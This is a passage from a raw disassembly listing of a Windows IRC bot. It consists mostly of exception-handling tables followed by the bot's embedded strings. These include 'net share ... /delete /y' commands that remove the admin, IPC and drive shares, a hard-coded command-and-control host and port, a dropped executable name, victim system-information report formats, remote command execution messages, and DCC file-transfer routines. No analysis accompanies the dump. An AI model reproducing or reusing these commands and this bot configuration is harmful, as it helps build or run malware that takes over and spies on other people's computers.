43B118h, 0FFFFFFFFh dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh dd 43B140h, 2 dup(0) dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0 dd offset loc_43B178 dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0) dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0 dd offset loc_43B358 dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0) dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0) dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0 dd offset loc_43B55B dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah dd 43B884h, 3Bh, 43B892h, 0Eh dup(0) dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0 dd offset loc_43B98B dd 1, 43B996h, 2, 43B9A1h, 2 dup(0) dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0 dd offset loc_43B9DB dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0) dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0 dd offset loc_43BA4E dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0) dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0 dd offset loc_43BAAB dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0) dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0 dd offset loc_43BB0B dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0) dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0) dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0) dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BBh, 43h, 0 align 10h dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0 dd offset loc_43BBFB dd 1, 43BC06h, 2, 43BC11h, 2 dup(0) dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0 dd offset loc_43BC4B dd 1, 43BC56h, 2, 43BC61h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0 dd offset loc_43BC9B dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0) dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0 dd offset loc_43BD0E dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0) dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0 dd offset loc_43BD6B dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0) dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BDh, 43h, 0 dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0) dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0) dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0) dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0) dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0 dd offset loc_43BE8B dd 2 dup(0) dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0 dd offset loc_43BEBB dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0) dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0) dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0 dd offset loc_43BF2B dd 2 dup(0) dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0) dword_441F98 dd 19930520h, 1, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 2 dup(0) dword_441FC8 dd 19930520h, 2, 441FE8h, 5 dup(0) dd 0FFFFFFFFh, 43BF90h, 0 dd offset loc_43BF9B align 10h dword_442000 dd 19930520h, 1, 442020h, 5 dup(0) dd 0FFFFFFFFh, 43BFC0h, 2 dup(0) dword_442030 dd 19930520h, 3, 442050h, 5 dup(0) dd 0FFFFFFFFh, 43BFE0h, 0 dd offset loc_43BFF7 dd 1, 43BFFFh, 2 dup(0) dword_442070 dd 19930520h, 1, 442090h, 5 dup(0) dd 0FFFFFFFFh, 43C020h, 2 dup(0) dword_4420A0 dd 19930520h, 4, 4420C0h, 5 dup(0) dd 0FFFFFFFFh, 43C048h, 0 dd offset sub_43C040 dd 0 dd offset loc_43C05F dd 2, 43C067h, 2 dup(0) dword_4420E8 dd 19930520h, 6, 442108h, 5 dup(0) dd 0FFFFFFFFh, 43C090h, 0FFFFFFFFh, 43C098h, 0FFFFFFFFh dd 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh dd 43C0B8h, 2 dup(0) dword_442140 dd 19930520h, 1Ah, 442160h, 5 dup(0) dd 0FFFFFFFFh, 43C0E0h, 0 dd offset loc_43C0EB dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0) dword_442248 dd 19930520h, 4, 442268h, 5 dup(0) dd 0FFFFFFFFh, 43C270h, 0 dd offset loc_43C278 dd 1, 43C283h, 2, 43C28Eh, 2 dup(0) dword_442290 dd 19930520h, 4, 4422B0h, 5 dup(0) dd 0FFFFFFFFh, 43C2B0h, 0 dd offset loc_43C2B8 dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0) dword_4422D8 dd 19930520h, 6, 4422F8h, 5 dup(0) dd 0FFFFFFFFh, 43C2F0h, 0 ; --------------------------------------------------------------------------- clc retn 43h ; --------------------------------------------------------------------------- dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0) dword_442330 dd 19930520h, 6, 442350h, 5 dup(0) dd 0FFFFFFFFh, 43C350h, 0 ; --------------------------------------------------------------------------- pop eax retn ; --------------------------------------------------------------------------- dw 43h dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0) dword_442388 dd 19930520h, 6, 4423A8h, 5 dup(0) dd 0FFFFFFFFh, 43C3B0h, 0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh dd 43C3C6h, 2, 43C3D1h, 3, 43C3DCh, 2, 43C3E7h, 2 dup(0) dword_4423E0 dd 19930520h, 3, 442400h, 5 dup(0) dd 0FFFFFFFFh, 43C410h, 0FFFFFFFFh, 43C418h, 0FFFFFFFFh dd 43C420h, 2 dup(0) dword_442420 dd 19930520h, 5, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh dd 43C450h, 0FFFFFFFFh, 43C458h, 0FFFFFFFFh, 43C460h, 2 dup(0) dword_442470 dd 19930520h, 0Ch, 442490h, 5 dup(0) dd 0FFFFFFFFh, 43C480h, 0 dd offset loc_43C488 dd 0FFFFFFFFh, 43C490h, 0FFFFFFFFh, 43C498h, 0FFFFFFFFh dd 43C4A0h, 0FFFFFFFFh, 43C4A8h, 5, 43C4B0h, 0FFFFFFFFh dd 43C4B8h, 0FFFFFFFFh, 43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh dd 43C4D0h, 0FFFFFFFFh, 43C4D8h, 4 dup(0) dd 19930520h, 2, 442520h, 1, 442530h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442548h, 4 dup(0) dd offset loc_41EF2C align 10h dword_442560 dd 19930520h, 0Ah, 442580h, 5 dup(0) dd 0FFFFFFFFh, 43C520h, 0 dd offset loc_43C52B dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0) dword_4425E0 dd 19930520h, 2, 442600h, 5 dup(0) dd 0FFFFFFFFh, 43C5C0h, 0 dd offset loc_43C5C8 dd 2 dup(0) dword_442618 dd 19930520h, 3, 442638h, 5 dup(0) dd 0FFFFFFFFh, 43C5E0h, 0FFFFFFFFh, 43C5EBh, 1, 43C5F6h dd 2 dup(0) dword_442658 dd 19930520h, 1, 442678h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 2 dup(0) dword_442688 dd 19930520h, 2, 4426A8h, 5 dup(0) dd 0FFFFFFFFh, 43C640h, 0 dd offset loc_43C64B align 10h dword_4426C0 dd 19930520h, 16h, 4426E0h, 5 dup(0) dd 0FFFFFFFFh, 43C670h, 0 dd offset loc_43C67B dd 0 dd offset loc_43C683 dd 0 dd offset loc_43C68B dd 3, 43C693h, 4, 43C69Bh, 0 dd offset loc_43C6A3 dd 6, 43C6ABh, 7, 43C6B3h, 0 dd offset loc_43C6BB dd 9, 43C6C3h, 0Ah, 43C6CBh, 0 dd offset loc_43C6D3 dd 0Ch, 43C6DBh, 0Dh, 43C6E3h, 0 dd offset loc_43C6EB dd 0Fh, 43C6F3h, 0 dd offset loc_43C6FB dd 11h, 43C703h, 0 dd offset loc_43C70B dd 13h, 43C713h, 13h, 43C71Bh, 6 dup(0) dword_4427A8 dd 19930520h, 1, 4427C8h, 5 dup(0) dd 0FFFFFFFFh, 43C760h, 2 dup(0) dword_4427D8 dd 19930520h, 1, 4427F8h, 5 dup(0) dd 0FFFFFFFFh, 43C790h, 2 dup(0) dword_442808 dd 19930520h, 5, 442828h, 5 dup(0) dd 0FFFFFFFFh, 43C7C0h, 0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh dd 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh, 43C7E0h, 2 dup(0) dword_442858 dd 19930520h, 0Bh, 442878h, 5 dup(0) dd 0FFFFFFFFh, 43C800h, 0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh dd 43C821h, 0FFFFFFFFh, 43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh dd 43C842h, 0FFFFFFFFh, 43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh dd 43C863h, 0FFFFFFFFh, 43C86Eh, 0FFFFFFFFh, 43C816h, 4 dup(0) dword_4428E0 dd 19930520h, 1, 442900h, 5 dup(0) dd 0FFFFFFFFh, 43C8B0h, 2 dup(0) dword_442910 dd 19930520h, 5, 442930h, 5 dup(0) dd 0FFFFFFFFh, 43C8D0h, 0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh dd 43C8E0h, 0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh, 43C8F0h, 2 dup(0) dword_442960 dd 19930520h, 15h, 442980h, 5 dup(0) dd 0FFFFFFFFh, 43C910h, 0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh dd 43C923h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh dd 43C93Bh, 0FFFFFFFFh, 43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh dd 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh dd 43C971h, 0FFFFFFFFh, 43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh dd 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh dd 43C9A4h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh dd 43C9BCh, 6 dup(0) dword_442A40 dd 19930520h, 1, 442A60h, 5 dup(0) dd 0FFFFFFFFh, 43CA00h, 2 dup(0) dword_442A70 dd 19930520h, 5, 442A90h, 5 dup(0) dd 0FFFFFFFFh, 43CA20h, 0 dd offset loc_43CA28 dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0) dword_442AC0 dd 19930520h, 5, 442AE0h, 5 dup(0) dd 0FFFFFFFFh, 43CA70h, 0 dd offset loc_43CA78 dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0) dword_442B10 dd 19930520h, 1, 442B30h, 5 dup(0) dd 0FFFFFFFFh, 43CAC0h, 2 dup(0) dword_442B40 dd 19930520h, 1, 442B60h, 5 dup(0) dd 0FFFFFFFFh, 43CAE0h, 2 dup(0) dword_442B70 dd 19930520h, 1, 442B90h, 5 dup(0) dd 0FFFFFFFFh, 43CB00h, 2 dup(0) dword_442BA0 dd 19930520h, 1, 442BC0h, 5 dup(0) dd 0FFFFFFFFh, 43CB20h, 2 dup(0) dword_442BD0 dd 19930520h, 1, 442BF0h, 5 dup(0) dd 0FFFFFFFFh, 43CB40h, 2 dup(0) dword_442C00 dd 19930520h, 1, 442C20h, 5 dup(0) dd 0FFFFFFFFh, 43CB60h, 2 dup(0) dword_442C30 dd 19930520h, 1, 442C50h, 5 dup(0) dd 0FFFFFFFFh, 43CB80h, 2 dup(0) dword_442C60 dd 19930520h, 1, 442C80h, 5 dup(0) dd 0FFFFFFFFh, 43CBA0h, 2 dup(0) dword_442C90 dd 19930520h, 6, 442CB0h, 5 dup(0) dd 0FFFFFFFFh, 43CBC0h, 0 dd offset loc_43CBC8 dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0) dword_442CE8 dd 19930520h, 6, 442D08h, 5 dup(0) dd 0FFFFFFFFh, 43CC20h, 0 dd offset loc_43CC28 dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0) dword_442D40 dd 19930520h, 3, 442D60h, 5 dup(0) dd 0FFFFFFFFh, 43CC80h, 0 dd offset loc_43CC88 dd 1, 43CC96h, 2 dup(0) dword_442D80 dd 19930520h, 16h, 442DA0h, 5 dup(0) dd 0FFFFFFFFh, 43CCC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 2 dw 43h dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah dd 43CD39h, 2, 43CD44h, 0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh, 0Fh, 43CD86h, 0Fh dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h, 6 dup(0) dword_442E68 dd 19930520h, 1, 442E88h, 5 dup(0) dd 0FFFFFFFFh, 43CE00h, 2 dup(0) dword_442E98 dd 19930520h, 1, 442EB8h, 5 dup(0) dd 0FFFFFFFFh, 43CE20h, 2 dup(0) dword_442EC8 dd 19930520h, 1, 442EE8h, 5 dup(0) dd 0FFFFFFFFh, 43CE40h, 2 dup(0) dword_442EF8 dd 19930520h, 1, 442F18h, 5 dup(0) dd 0FFFFFFFFh, 43CE60h, 2 dup(0) dword_442F28 dd 19930520h, 1, 442F48h, 5 dup(0) dd 0FFFFFFFFh, 43CE80h, 2 dup(0) dword_442F58 dd 19930520h, 2, 442F78h, 1, 442F88h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442FA0h, 4 dup(0) dd offset loc_42C244 dd 2 dup(0) dword_442FB8 dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 443000h, 4 dup(0) dd offset loc_42C321 dd 2 dup(0) dword_443018 dd 19930520h, 3, 443038h, 5 dup(0) dd 0FFFFFFFFh, 43CEC0h, 0 dd offset loc_43CEC8 dd 1, 43CED0h, 2 dup(0) dword_443058 dd 19930520h, 1, 443078h, 5 dup(0) dd 0FFFFFFFFh, 43CF00h, 2 dup(0) dword_443088 dd 19930520h, 1, 4430A8h, 5 dup(0) dd 0FFFFFFFFh, 43CF20h, 2 dup(0) dword_4430B8 dd 19930520h, 1, 4430D8h, 5 dup(0) dd 0FFFFFFFFh, 43CF40h, 2 dup(0) dword_4430E8 dd 19930520h, 1, 443108h, 5 dup(0) dd 0FFFFFFFFh, 43CF60h, 2 dup(0) dword_443118 dd 19930520h, 1, 443138h, 5 dup(0) dd 0FFFFFFFFh, 43CF80h, 2 dup(0) dword_443148 dd 19930520h, 6, 443168h, 5 dup(0) dd 0FFFFFFFFh, 43CFA0h, 0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh dd 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh dd 43CFC8h, 2 dup(0) dword_4431A0 dd 19930520h, 16h, 4431C0h, 5 dup(0) dd 0FFFFFFFFh, 43CFF0h, 0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh dd 43D003h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh dd 43D01Eh, 0FFFFFFFFh, 43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh dd 43D036h, 0FFFFFFFFh, 43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh dd 43D051h, 0FFFFFFFFh, 43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch, 0Eh, 43D084h, 0Eh dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch, 0Eh, 43D09Ch, 6 dup(0) dword_443288 dd 19930520h, 2, 4432A8h, 5 dup(0) dd 0FFFFFFFFh, 43D0E0h, 0FFFFFFFFh, 43D0E8h, 2 dup(0) dword_4432C0 dd 19930520h, 2, 4432E0h, 5 dup(0) dd 0FFFFFFFFh, 43D100h, 0 dd offset loc_43D10B dd 2 dup(0) dword_4432F8 dd 19930520h, 1, 443318h, 5 dup(0) dd 0FFFFFFFFh, 43D130h, 2 dup(0) dword_443328 dd 19930520h, 2, 443348h, 5 dup(0) dd 0FFFFFFFFh, 43D150h, 0FFFFFFFFh, 43D158h, 2 dup(0) dword_443360 dd 19930520h, 0Ah, 443380h, 5 dup(0)dword_443380 dd 0FFFFFFFFh, 43D170h, 0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh dd 43D186h, 0FFFFFFFFh, 43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh dd 43D1A7h, 0FFFFFFFFh, 43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh dd 43D1C8h, 0FFFFFFFFh, 43D1D3h, 34Dh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd offset aRrrrrrrrrr+7Ah dd 105h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_403530+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4445EC: ; DATA XREF: sub_403530+66o ; sub_410030:loc_41090Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404CC0+86Fo ; sub_404CC0+AEBo ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404CC0+82Bo ; sub_404CC0+B58o ... align 10h asc_444600: ; DATA XREF: sub_404690:loc_40476Fo ; sub_404690+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404690+75o ; sub_410030:loc_410A19o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_444684 dd 255C7325h, 73h ; sub_40D040+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o align 8 aN: ; DATA XREF: sub_404CC0+D1Do unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404CC0+971o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404CC0+6CFo align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404CC0+610o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404CC0+444o ; sub_41C130+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404CC0+1A3o ; sub_404CC0+9ABo ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_406730+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_4068E0+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_4068E0+125o dd 0 a??? db '???',0 ; DATA XREF: sub_4068E0:loc_4069DBo a2003 db '2003',0 ; DATA XREF: sub_4068E0+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_4068E0+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_4068E0+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_4068E0+C7o align 10h a98 db '98',0 ; DATA XREF: sub_4068E0+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_4068E0+AFo align 4 a95 db '95',0 ; DATA XREF: sub_4068E0+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do ; ___:00406E85o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o ; sub_40ED00+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o dd 0 dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:004087A4o ... dword_4447F8 dd 2Eh ; ___:0041B2DAo ... aMicrosoftVisua db 'MicroSoft Visual SP2',0 ; DATA XREF: sub_4077E0+403o align 8 aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o align 10h aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o align 10h aSet db 'set',0 ; DATA XREF: sub_4077E0+359o asc_444834 db 'X-',0 ; DATA XREF: sub_4077E0+348o align 4 aAyssds4ddklfsd db 'ayssds4ddklfsdf',0 ; DATA XREF: sub_4077E0+337o dd 0 aIgfsfdfsd32_ex db 'igfsfdfsd32.exe',0 ; DATA XREF: sub_4077E0+326o align 10h aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o align 4 aM db '##m',0 ; DATA XREF: sub_4077E0+307o aM_0 db '##m##',0 ; DATA XREF: sub_4077E0+2F6o align 4 a6701 db '6701',0 ; DATA XREF: sub_4077E0+29Bo align 4 aGx_arabhell_ne db 'Gx.arabhell.net',0 ; DATA XREF: sub_4077E0+283o align 10h off_444890 dd offset off_43F1D4 ; DATA XREF: ___:00440014o align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4448B0 dd offset off_43F1D4 ; DATA XREF: ___:00440034o align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_4448D8 dd offset off_43F1D4 ; DATA XREF: ___:00440054o align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o ; ___:0040AA51o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B760+3Fo ; sub_40B7E0+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B87Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B924o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB57o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040BA04o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C4E0+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4E0+327o align 10h dword_444A00 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C4E0+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC90+1B1o dd 0 asc_444AD4: ; DATA XREF: sub_40CC90+113o ; sub_4201F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D040+115o align 4 aS_1 db 